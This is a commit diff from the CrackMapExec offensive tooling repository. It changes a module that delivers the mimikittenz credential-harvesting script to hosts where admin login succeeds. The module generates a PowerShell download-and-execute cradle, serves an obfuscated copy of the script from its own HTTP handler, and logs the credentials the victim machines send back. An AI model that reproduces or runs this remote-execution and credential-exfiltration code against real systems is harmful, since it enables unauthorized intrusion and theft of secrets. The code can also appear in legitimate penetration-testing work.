Merge branch 'master' of github.com:byt3bl33d3r/CrackMapExec

main
byt3bl33d3r 2017-04-10 01:25:34 -06:00
commit 86273bdc27
2 changed files with 7 additions and 6 deletions

View File

@ -18,9 +18,10 @@ class CMEModule:
def options(self, context, module_options):
'''
'''
self.ps_script = obfs_ps_script('mimikittenz/Invoke-mimikittenz.ps1')
return
def on_admin_login(self, context, command):
def on_admin_login(self, context, connection):
command = 'Invoke-mimikittenz'
launcher = gen_ps_iex_cradle(context, 'Invoke-mimikittenz.ps1', command)
ps_command = create_ps_command(launcher)
@ -33,9 +34,9 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
request.wfile.write(ps_script)
#with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
# ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
request.wfile.write(self.ps_script)
else:
request.send_response(404)
@ -60,4 +61,4 @@ class CMEModule:
log_name = 'MimiKittenz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved output to {}".format(log_name))
context.log.info("Saved output to {}".format(log_name))

@ -1 +1 @@
Subproject commit 1ee894ce85de5976012b34fe55a00695672d0cc3
Subproject commit 2d74947a975486f49e94299ac270161c92cf7912